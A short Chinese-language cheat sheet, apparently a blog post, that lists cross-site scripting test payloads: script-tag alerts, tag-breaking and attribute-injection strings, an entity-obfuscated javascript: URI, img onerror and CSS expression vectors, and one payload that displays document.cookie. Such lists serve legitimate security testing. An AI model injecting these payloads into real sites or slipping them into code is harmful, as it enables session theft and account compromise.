可以用到的XSS跨站语句

我们常用的测试XSS跨站的语句一般是alert
比如：

<script>alert(“sex”)</script>
<script>alert(/sex/)</script>
"><script>alert(/sex/)</script><　　//该语句是将数据中字符截断，前三种是我最常使用的

javascript:alert(/xss/)
javascrip&#116&#58alert(/xss/)
<img src="#" onerror=alert(/xss/)>
<img src="#" style="Xss:expression(alert(/xss/));">
<img src="#"/**/onerror=alert(/xss/) width=100>
=’><script>alert(document.cookie)</script>
1.jpg" onmouseover="alert('xss')
"></a><script>alert(‘xss’);</script>